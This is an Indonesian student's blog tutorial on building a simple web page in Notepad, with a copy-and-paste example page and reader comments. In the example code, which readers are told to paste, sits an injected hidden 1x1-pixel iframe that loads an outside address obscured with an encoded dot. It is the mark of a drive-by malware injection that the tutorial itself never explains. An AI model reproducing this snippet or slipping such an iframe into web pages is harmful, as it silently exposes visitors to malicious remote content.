Welcome ! ☺

Knowing is not enough, we must apply. Willing is not enough, we must do - Leonardo da Vinci

Selasa, 30 Oktober 2012

Cara Membuat Web dengan Notepad

Haii semuahh :)
Sorry lama ga posting, sebenernya banyak yg gue mau cerita, tapi berhubung tugas sekolah lagi numpuk karena gue bolos pelajaran terus (bukan bolos yg negatif sih, soalnya gue panitia dan ikut ikut lomba gitu hehehe..) jadi gue baru bisa posting sekarang. Sorry dorry strawberry TT

Oke salah satu tugas sekolah gue yaitu tugas TIK, disuruh bikin web pake notepad. Emang bisa? Iya bisa. Ternyata notepad yang ada di komputer kita yang hampir ga pernah kita buka itu, bisa juga dipake sekeren-kerennya. So, gue mau share info tersebut dengan anda-andi sekalian (maksa banget kata-katanya, kalo guru bahasa gue ngeliat dikurangin deh nilai gue). Oh ya gue juga mau ingetin, bahwa postingan ini bakal sangat panjang... ato kalo gue berubah pikiran di tengah jalan nanti, gue bakal pisah postingannya jd beberapa bagian. Dan oh ya lagi, gue sebenernya ga ahli ahli banget, jadi kalo ada salah nantinya maap yaa..

Oke, kalo soal awal"nya sih gue yakin kalian udah bisa, tinggal buka notepad aja dari menu start. Nah perhatiin yg ini baik baik. Struktur utama web biasanya begini, anda boleh copas dulu ato ketik sendiri kyk berikut ini, kemudian di save dengan JudulWebAnda.html , ingat harus ada .html nya dan jangan lupa ganti tipe savenya jadi all files :

<html>
<head>
<title>Ketik nama judul atas web yg anda inginkan
</title>
</head>
<body>
</body>
</html>

Biar gue jelasin sedikit, biasanya itu kode" yang sering dipake, tapi kalo head sih jarang dipake orang (loh?!). Nah, jadi kesimpulannya hampir semua kode menggunakan tanda lebih kecil-lebih besar (lagi lagi maksa, padahal tinggal ketik <>) dan kalo bagiannya udah selesai, didepannya di kasih slash alias garing alias garis miring.

Nah buat isinya, anda boleh bikin apa saja. Entah nantinya jadi web untuk jual beli, ato berupa curhatan / mirip blog begini terserah anda. Isi blog anda ditulis setelah kata <body>. Gue bakal bantu dengan ini:
Untuk background web anda, kalo mau pake gambar ketik ini : <body background="JudulGambar.jpg"> Gambarnya harus di save di folder yang sama dengan html web anda tadi. Kalo mau pake warna aja, ketiknya begini <body bgcolor=#KodeWarna> Kode warna bisa langsung diganti kata kyk Blue, Red, dkk tapi kalo mau lebih banyak variasinya, ini link nya : http://camex.wen.ru/Sampel/Warna.html
Oh ya kalo anda mau tulis tulis sesuatu, tinggal tulis aja ga perlu dikasih <>.

Kalo mau ganti warna tulisan, tetep disamping body ketikkan <font color=#KodeWarna>. Kalo ganti stylenya, ketikkan <font face="NamaFont,ContohnyaDiMSWord">. Nah kalo mau ganti sizenya, gue yakin anda udah bisa tebak, tinggal ketik <font size="AngkaSizenya">. Ingat kalo udah ga mau dipake, ketikkan slash disamping tiap katanya. Contoh </font color>. Kalo mau di bold, <B> dan ditutup </B>. Italic <i> dan ditutup </i>. Perlu diingat, ketik kodenya dulu baru kata yang akan dijadikan.

Kalo mau masukin gambar, ketik <img src="JudulGambar.jpg"> atau bisa juga pake URLGambar kalo dari web. Nah kalo mau gambarnya berjalan, cek caranya di : http://www.linksukses.com/2010/05/gambar-berjalan-dengan-html.html. Untuk atur ukuran gambarnya, tulis height=Angka dan width=Angka masih di dalam kurung img src baru ditutup.

Masih bingung? Ini contoh dari saya. coba copas ke notepad anda dan save, ingat pakai .html : 
<Html>
<Head>
<title> Latihan 1</title>
</Head>
<Body Bgcolor= "pink"><font color="brown"><font size="24"><font face="French Script MT"><p align="center"> Latihan 1</font>
<br>
<br>
<marquee bgcolor="#FFC0CB" direction="left" height="200px" scrollamount="5" width="100%">
<img src="Autumn.jpg"height="200px"Width="150px">
</marquee>
<br>
<br><font face="Viner Hand ITC">Testing.. :)</font>
<br><font size="16"><font face="Harrington"> Hi ! Welcome to my web :) Please enjoy !
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

Buka kembali, dan anda akan diantar dalam bentuk web (biasanya kebuka di Firefox). Setelah anda buka, mungkin anda bingung karena gambarnya tidak keluar, hanya berupa kotak dengan gambar kertas robek di ujungnya. Itu karena yang telah saya jelaskan tadi, anda harus punya save an gambar di folder yang sama dengan web anda, dan judulnya harus diketikkan sama persis (yang di notepad dengan yg di folder). Jadi copas-an anda yang dari saya tidak akan berhasil membuka gambarnya karena anda tidak punya gambarnya.
Ternyata sudah cukup panjang, jadii... akan saya lanjutkan di postingan saya yang berikutnya nanti ! Good luck ! :)
Note: Btw, setelah gue baca ulang, ternyata kata kata "gue" gue berubah menjadi "saya". Hahahaha... Jangan dipusingin ya, ga penting, sumpah ga penting.  :p



6 komentar:

  1. Komentar ini telah dihapus oleh penulis.

    BalasHapus
  2. blog sama postingannya sungguh bermakna :) tingkatkan ya trims =))

    BalasHapus
    Balasan
    1. terima kasih banyak :) saya sungguh termotivasi untuk posting yang lebih baik lagi kedepannya :)

      Hapus
  3. og gak ada gambar hasilnya???
    dikasih gmbar hasilnya lebih bagus tu....

    BalasHapus
  4. cara ganti mouse nya gimana ka ?

    BalasHapus
  5. tanks you eengkang kathah........!!!!



    BalasHapus